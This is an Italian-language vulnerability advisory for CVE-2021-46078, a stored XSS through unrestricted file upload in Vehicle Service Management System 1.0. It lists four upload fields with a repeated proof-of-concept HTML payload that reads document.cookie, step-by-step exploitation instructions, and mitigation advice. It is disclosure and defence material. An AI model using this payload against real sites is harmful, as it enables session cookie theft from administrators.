CVE-2021-46078
Titolo dell'exploit: Vehicle Service Management System - Caricamento 'multiplo' di file porta a Cross-Site Scripting persistente
Autore dell'exploit: SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
Riferimenti:
Descrizione:
Esiste una vulnerabilità di caricamento file senza restrizioni (Unrestricted File Upload) in Sourcecodester Vehicle Service Management System 1.0. Un attaccante remoto può caricare file dannosi che portano a una vulnerabilità di Cross-Site Scripting persistente (Stored XSS).
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Accedere al pannello di amministrazione http://localhost/vehicle_service/admin
- Navigare alla sezione My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salvare il codice HTML precedente, ad esempio come XSS.html.
- Nella sezione My Account inserire tutti i dati richiesti e selezionare il file html nel campo Avatar.
- Fare clic sul pulsante Update.
- Aprire l'immagine dell'avatar in una nuova scheda.
- Viene eseguito il codice javascript dannoso.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Accedere al pannello di amministrazione http://localhost/vehicle_service/admin
- Navigare alla sezione User List e fare clic sul pulsante Create New.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salvare il codice HTML precedente, ad esempio come XSS.html.
- Nella pagina Create New User inserire tutti i dati richiesti e selezionare il file html nel campo Avatar.
- Fare clic sul pulsante Save.
- Aprire l'immagine dell'avatar in una nuova scheda.
- Viene eseguito il codice javascript dannoso.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Accedere al pannello di amministrazione http://localhost/vehicle_service/admin
- Navigare alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salvare il codice HTML precedente, ad esempio come XSS.html.
- Nella sezione Settings inserire tutti i dati richiesti e selezionare il file html nel campo System Logo.
- Fare clic sul pulsante Update.
- Aprire l'immagine System Logo in una nuova scheda.
- Viene eseguito il codice javascript dannoso.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Accedere al pannello di amministrazione http://localhost/vehicle_service/admin
- Navigare alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salvare il codice HTML precedente, ad esempio come XSS.html.
- Nella sezione Settings inserire tutti i dati richiesti e selezionare il file html nel campo Website Cover.
- Fare clic sul pulsante Update.
- Aprire l'immagine Website Cover in una nuova scheda.
- Viene eseguito il codice javascript dannoso.
Impatto:
Un attaccante può caricare file dannosi in più endpoint, portando a Cross-Site Scripting persistente (Stored XSS).
Mitigazione:
Si consiglia di implementare quanto segue:
- Non accettare mai un nome file e la sua estensione direttamente senza un filtro white-list.
- Se non è necessario avere caratteri Unicode, è fortemente consigliato accettare solo caratteri alfanumerici e un solo punto come input per il nome file e l'estensione.
- Limitare la dimensione del file a un valore massimo per prevenire attacchi di denial of service.
- La directory di upload non deve avere alcun permesso di "esecuzione" (execute).
- Non affidarsi solo alla validazione lato client.